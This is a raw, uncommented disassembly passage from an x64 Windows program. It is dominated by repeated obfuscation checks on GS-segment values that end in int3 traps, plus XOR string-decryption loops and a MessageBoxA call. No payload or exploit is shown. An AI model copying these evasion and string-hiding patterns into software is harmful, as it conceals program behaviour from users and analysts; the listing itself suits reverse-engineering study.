mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400b1ef8
int3
mov rax, qword gs:[0x43]
cmp rax, r14
jne 0x14003e0bf
mov rax, qword gs:[0x5f]
xor rax, r12
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x5f]
xor rax, r12
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x5f]
xor rax, r12
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14003e09f
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14003e09f
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14003e0bf
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400b1ef8
int3
movdqa xmm0, xmmword [0x1400f6090]
movdqu xmmword [rbp + 0xbc8], xmm0
movdqa xmm1, xmmword [0x1400f60a0]
movdqu xmmword [rbp + 0xbd8], xmm1
mov dword [rbp + 0xbe8], 0x2fb0c6b
mov dword [rbp + 0xbec], 0x4d2a675b
mov dword [rbp + 0xbf0], 0x4d31177d
xor eax, eax
mov byte [rbp + 0xbf4], al
mov rdi, r15
movabs r12, 0x12a982442
mov qword [rsp + 0x20], r12
mov r9d, Ordinal_45
mov r8, rdi
mov dl, byte [rbp + rdi + 0xbc8]
lea rcx, [rbp + 0xbc8]
call fcn.14004c030
xor al, dil
mov byte [rbp + rdi + 0xbc8], al
inc rdi
cmp rdi, 0x2c
jb 0x14003e112
mov byte [rbp + 0xbf4], r15b
lea rdx, [rbp + 0xbc8]
lea rcx, [rbp + 0x1188]
call fcn.1400020a8
mov rax, qword gs:[0x43]
cmp rax, r14
mov r12d, 0x5b964cd9
jne 0x14003e221
mov rcx, qword gs:[0x5f]
xor edx, edx
mov rax, rsi
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x5f]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x5f]
xor edx, edx
mov eax, 0x2eeca363
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14003e201
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14003e201
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14003e221
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400b1ef8
int3
mov rax, qword gs:[0x43]
cmp rax, r14
jne 0x14003e2cb
mov rax, qword gs:[0x5f]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x5f]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x5f]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14003e2ab
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14003e2ab
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14003e2cb
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400b1ef8
int3
lea rcx, [rbp + 0x9f8]
call fcn.14003c734
mov rdi, rax
lea rcx, [rsp + 0x60]
call fcn.1400021b8
mov qword [rsp + 0x20], rax
mov r9d, 8
xor r8d, r8d
mov rdx, rdi
lea rcx, [rbp + 0x1208]
call fcn.14004d14c
lea rcx, [rbp + 0x9f8]
call fcn.14004d088
lea rcx, [rbp + 0x9f8]
call fcn.1400026c8
mov rax, qword gs:[0x43]
cmp rax, r14
jne 0x14003e3c3
mov rax, qword gs:[0x5f]
xor rax, r12
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x5f]
xor rax, r12
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x5f]
xor rax, r12
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14003e3a3
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14003e3a3
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14003e3c3
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400b1ef8
int3
mov rax, qword gs:[0x43]
cmp rax, r14
jne 0x14003e46d
mov rax, qword gs:[0x5f]
xor rax, r12
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x5f]
xor rax, r12
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x5f]
xor rax, r12
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14003e44d
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14003e44d
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14003e46d
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400b1ef8
int3
mov dword [rbp - 0x68], 0xd0ba7661
mov word [rbp - 0x64], 0xc6cd
xor eax, eax
mov byte [rbp - 0x62], al
mov rdi, r15
movabs r13, 0x12a982442
mov qword [rsp + 0x20], r13
mov r9d, 6
mov r8, rdi
mov dl, byte [rbp + rdi - 0x68]
lea rcx, [rbp - 0x68]
call fcn.14004bfb8
xor al, dil
mov byte [rbp + rdi - 0x68], al
inc rdi
cmp rdi, 6
jb 0x14003e48c
mov byte [rbp - 0x62], r15b
mov dword [rbp - 0x58], 0xd0ba6478
mov word [rbp - 0x54], 0xc6cd
xor eax, eax
mov byte [rbp - 0x52], al
mov rdi, r15
movabs r13, 0xe4d4ec93abfbca11
movabs r12, 0x12a982442
mov qword [rsp + 0x20], r12
mov r9d, 6
mov r8, rdi
mov dl, byte [rbp + rdi - 0x58]
lea rcx, [rbp - 0x58]
call fcn.14004bfb8
xor al, dil
mov byte [rbp + rdi - 0x58], al
inc rdi
cmp rdi, 6
jb 0x14003e4e4
mov byte [rbp - 0x52], r15b
lea r8, [rbp - 0x58]
lea rdx, [rbp + 0x1188]
lea rcx, [rbp + 0xa38]
call fcn.14004d3bc
lea rdx, [rbp + 0x1208]
mov rcx, rax
call fcn.14004cd94
mov rdx, rax
lea rcx, [rbp + 0xa58]
call fcn.14004cee8
lea rcx, [rbp - 0x68]
call fcn.140002210
mov rcx, rax
call fcn.1400021b8
mov r8, rax
lea rdx, [rbp - 0x68]
lea rcx, [rbp + 0xa58]
call fcn.14004cbd4
mov rdx, rax
lea rcx, [rbp + 0xa78]
call fcn.14004cee8
lea rdx, [0x140104420]
lea rcx, [rbp + 0xa78]
call fcn.14004cd94
mov rdx, rax
lea rcx, [rbp + 0x11e8]
call fcn.14004cee8
lea rcx, [rbp + 0xa78]
call fcn.14004d088
lea rcx, [rbp + 0xa78]
call fcn.1400026c8
lea rcx, [rbp + 0xa58]
call fcn.14004d088
lea rcx, [rbp + 0xa58]
call fcn.1400026c8
lea rcx, [rbp + 0xa38]
call fcn.14004d088
lea rcx, [rbp + 0xa38]
call fcn.1400026c8
mov rax, qword gs:[0x43]
cmp rax, r14
mov r12d, 0x5b964cd9
jne 0x14003e695
mov rax, qword gs:[0x5f]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x5f]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x5f]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14003e675
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14003e675
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14003e695
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400b1ef8
int3
mov rax, qword gs:[0x43]
cmp rax, r14
jne 0x14003e73f
mov rax, qword gs:[0x5f]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x5f]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x5f]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14003e71f
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14003e71f
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14003e73f
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400b1ef8
int3
lea rcx, [rbp + 0x1208]
call fcn.14004c9fc
xor edx, edx
lea r8d, [rdx + 0xa]
mov rcx, rax
call fcn.1400b2e20
mov rax, qword gs:[0x43]
cmp rax, r14
jne 0x14003e803
mov rax, qword gs:[0x5f]
xor rax, r12
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x5f]
xor rax, r12
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x5f]
xor rax, r12
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14003e7e3
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14003e7e3
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14003e803
mov rax, qword [rbp + 0xf30]
mov rdx, qword [rbp + 0xf40]
xor rdx, rax
mov rcx, qword [rbp + 0xf38]
xor ecx, edx
call fcn.1400b1ef8
int3
mov rax, qword gs:[0x43]
cmp rax, r14
jne 0x14003e8be
mov rcx, qword gs:[0x5f]
xor edx, edx
mov rax, rsi
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x5f]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x5f]
xor edx, edx
mov eax, 0x2eeca363
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14003e89e
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14003e89e
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14003e8be
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400b1ef8
nop
mov dl, byte [rsp + 0x60]
lea rcx, [rbp + 0x10e8]
call fcn.140002160
lea rcx, [rbp + 0x10e8]
call fcn.14004d124
nop
mov rax, qword gs:[0x43]
cmp rax, r14
jne 0x14003e985
mov rax, qword gs:[0x5f]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x5f]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x5f]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14003e965
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14003e965
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14003e985
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400b1ef8
int3
mov rax, qword gs:[0x43]
cmp rax, r14
jne 0x14003ea2f
mov rax, qword gs:[0x5f]
xor rax, r12
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x5f]
xor rax, r12
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x5f]
xor rax, r12
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14003ea0f
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14003ea0f
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14003ea2f
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400b1ef8
int3
lea rcx, [rbp + 0x11e8]
call fcn.14004c9fc
mov r9b, 1
xor r8d, r8d
lea rdx, [rbp + 0x10e8]
mov rcx, rax
call fcn.14003c29c
mov rax, qword gs:[0x43]
cmp rax, r14
jne 0x14003eb0b
mov rcx, qword gs:[0x5f]
xor edx, edx
mov rax, rsi
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x5f]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x5f]
xor edx, edx
mov eax, 0x2eeca363
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14003eaeb
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14003eaeb
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14003eb0b
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400b1ef8
int3
mov dword [rbp + 0x1e0], 0xdfb44201
mov dword [rbp + 0x1e4], 0xc1fd9c7
mov dword [rbp + 0x1e8], 0x8e69428
xor eax, eax
mov byte [rbp + 0x1ec], al
mov rdi, r15
movabs rbx, 0x12a982442
mov qword [rsp + 0x20], rbx
mov r9d, recvfrom
mov r8, rdi
mov dl, byte [rbp + rdi + 0x1e0]
lea rcx, [rbp + 0x1e0]
call fcn.14004bf40
xor al, dil
mov byte [rbp + rdi + 0x1e0], al
inc rdi
cmp rdi, 0xc
jb 0x14003eb3e
mov byte [rbp + 0x1ec], r15b
lea rdx, [rbp + 0x1e0]
lea rcx, [rbp + 0x10e8]
call fcn.14004d6d8
test al, al
je 0x14003f0f9
mov rax, qword gs:[0x43]
cmp rax, r14
jne 0x14003ec3e
mov rax, qword gs:[0x5f]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x5f]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x5f]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14003ec1e
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14003ec1e
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14003ec3e
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400b1ef8
int3
movdqa xmm0, xmmword [0x1400f6020]
movdqu xmmword [rbp + 0x7b8], xmm0
mov dword [rbp + 0x7c8], 0x19e74a3f
mov word [rbp + 0x7cc], 0xc2aa
xor eax, eax
mov byte [rbp + 0x7ce], al
mov rdi, r15
mov qword [rsp + 0x20], rbx
mov r9d, reloc.WLDAP32.dll_Ordinal_22
mov r8, rdi
mov dl, byte [rbp + rdi + 0x7b8]
lea rcx, [rbp + 0x7b8]
call fcn.14004be54
xor al, dil
mov byte [rbp + rdi + 0x7b8], al
inc rdi
cmp rdi, 0x16
jb 0x14003ec6c
mov byte [rbp + 0x7ce], r15b
movdqa xmm0, xmmword [0x1400f6030]
movdqa xmmword [rbp + 0xd60], xmm0
movdqa xmm1, xmmword [0x1400f6170]
movdqa xmmword [rbp + 0xd70], xmm1
movdqa xmm0, xmmword [0x1400f6200]
movdqa xmmword [rbp + 0xd80], xmm0
movdqa xmm1, xmmword [0x1400f6270]
movdqa xmmword [rbp + 0xd90], xmm1
movdqa xmm0, xmmword [str.___Ss]
movdqa xmmword [rbp + 0xda0], xmm0
movdqa xmm1, xmmword [0x1400f6220]
movdqa xmmword [rbp + 0xdb0], xmm1
movdqa xmm0, xmmword [0x1400f61c0]
movdqa xmmword [rbp + 0xdc0], xmm0
movdqa xmm1, xmmword [0x1400f6100]
movdqa xmmword [rbp + 0xdd0], xmm1
mov dword [rbp + 0xde0], 0x3c29dc05
mov word [rbp + 0xde4], 0xd6d9
xor eax, eax
mov byte [rbp + 0xde6], al
mov rdi, r15
mov ebx, 0x86
movabs r12, 0x12a982442
mov qword [rsp + 0x20], r12
mov r9, rbx
mov r8, rdi
mov dl, byte [rbp + rdi + 0xd60]
lea rcx, [rbp + 0xd60]
call fcn.14004bec8
xor al, dil
mov byte [rbp + rdi + 0xd60], al
inc rdi
cmp rdi, rbx
jb 0x14003ed54
mov byte [rbp + 0xde6], r15b
mov r9d, 4
lea r8, [rbp + 0x7b8]
lea rdx, [rbp + 0xd60]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov edx, eax
mov rcx, qword gs:[0x43]
cmp rcx, r14
mov r12d, 0x5b964cd9
jne 0x14003ee59
mov rcx, qword gs:[0x5f]
xor rcx, r13
mov qword [rbp + 0xf30], rcx
mov rcx, qword gs:[0x5f]
xor rcx, r13
mov qword [rbp + 0xf38], rcx
mov rcx, qword gs:[0x5f]
xor rcx, r13
mov qword [rbp + 0xf40], rcx
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14003ee39
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14003ee39
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14003ee59
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400b1ef8
int3
mov rax, qword gs:[0x43]
cmp rax, r14
jne 0x14003ef03
mov rax, qword gs:[0x5f]
xor rax, r12
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x5f]
xor rax, r12
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x5f]
xor rax, r12
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14003eee3
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14003eee3
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14003ef03
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400b1ef8
int3
cmp edx, 7
je 0x14004bbc6
mov rax, qword gs:[0x43]
cmp rax, r14
jne 0x14003efb6
mov rax, qword gs:[0x5f]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x5f]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x5f]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14003ef96
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14003ef96
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14003efb6
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf30]
xor rdx, rax
mov rcx, qword [rbp + 0xf38]
xor ecx, edx
call fcn.1400b1ef8
int3
movdqa xmm0, xmmword [0x1400f62d0]
movdqu xmmword [rbp + 0xc28], xmm0
movdqa xmm1, xmmword [0x1400f61f0]
movdqu xmmword [rbp + 0xc38], xmm1
movdqa xmm0, xmmword [str.WYN1d7]
movdqu xmmword [rbp + 0xc48], xmm0
mov rdi, r15
movabs rbx, 0x12a982442
mov qword [rsp + 0x20], rbx
mov r9d, Ordinal_50
mov r8, rdi
mov dl, byte [rbp + rdi + 0xc28]
lea rcx, [rbp + 0xc28]
call fcn.14004bde0
xor al, dil
mov byte [rbp + rdi + 0xc28], al
inc rdi
cmp rdi, 0x2f
jb 0x14003eff3
mov byte [rbp + 0xc57], r15b
lea rcx, [rbp + 0xc28]
call fcn.1400b634c
mov rax, qword gs:[0x43]
mov edi, 0x20b853c
cmp rax, r14
jne 0x14003f0fe
mov rcx, qword gs:[0x5f]
xor edx, edx
mov rax, rsi
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x5f]
xor edx, edx
mov eax, edi
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x5f]
xor edx, edx
mov eax, 0x2eeca363
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14003f0d9
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14003f0d9
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14003f0fe
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400b1ef8
int3
mov edi, 0x20b853c
mov rax, qword gs:[0x43]
cmp rax, r14
jne 0x14003f1a8
mov rax, qword gs:[0x5f]
xor rax, r12
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x5f]
xor rax, r12
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x5f]
xor rax, r12
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14003f188
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14003f188
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14003f1a8
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400b1ef8
int3
lea rdx, [rbp + 0x10e8]
lea rcx, [rbp + 0xa98]
call fcn.14004cf44
mov rdx, rax
lea rcx, [rbp + 0xab8]
call fcn.14003c87c
mov rdx, rax
lea rcx, [rbp + 0x10e8]
call fcn.14004ce20
lea rcx, [rbp + 0xab8]
call fcn.14004d088
lea rcx, [rbp + 0xab8]
call fcn.1400026c8
mov rax, qword gs:[0x43]
cmp rax, r14
jne 0x14003f29b
mov rax, qword gs:[0x5f]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x5f]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x5f]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14003f27b
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14003f27b
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14003f29b
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400b1ef8
int3
mov rax, qword gs:[0x43]
cmp rax, r14
jne 0x14003f345
mov rax, qword gs:[0x5f]
xor rax, r12
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x5f]
xor rax, r12
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x5f]
xor rax, r12
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14003f325
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14003f325
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14003f345
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400b1ef8
int3
xor edx, edx
lea rcx, [rbp + 0x1188]
call fcn.14004d0f8
mov rax, qword gs:[0x43]
cmp rax, r14
jne 0x14003f40e
mov rcx, qword gs:[0x5f]
xor edx, edx
mov rax, rsi
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x5f]
xor edx, edx
mov rax, rdi
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x5f]
xor edx, edx
mov eax, 0x2eeca363
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14003f3ee
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14003f3ee
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14003f40e
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400b1ef8
int3
mov rax, qword gs:[0x43]
cmp rax, r14
jne 0x14003f4b8
mov rax, qword gs:[0x5f]
xor rax, r12
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x5f]
xor rax, r12
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x5f]
xor rax, r12
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14003f498
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14003f498
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14003f4b8
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400b1ef8
int3
mov rcx, qword [rbp + 0x10f8]
call fcn.1400b67bc
mov rsi, rax
mov qword [rbp - 0x40], rax
mov rcx, qword gs:[0x43]
cmp rcx, r14
jne 0x14003f575
mov rcx, qword gs:[0x5f]
xor rcx, r12
mov qword [rbp + 0xf30], rcx
mov rcx, qword gs:[0x5f]
xor rcx, r12
mov qword [rbp + 0xf38], rcx
mov rcx, qword gs:[0x5f]
xor rcx, r12
mov qword [rbp + 0xf40], rcx
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14003f555
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14003f555
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14003f575
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400b1ef8
int3
mov rax, qword gs:[0x43]
cmp rax, r14
jne 0x14003f632
mov rcx, qword gs:[0x5f]
xor edx, edx
mov eax, 0x110c4ff0
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x5f]
xor edx, edx
mov rax, rdi
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x5f]
xor edx, edx
mov eax, 0x2eeca363
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14003f612
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14003f612
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14003f632
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400b1ef8
int3
mov r14, qword [rbp + 0x10f8]
mov rax, qword gs:[0x43]
mov ebx, 0xfbab80df
cmp rax, rbx
jne 0x14003f6e8
mov rax, qword gs:[0x5f]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x5f]
xor rax, r13
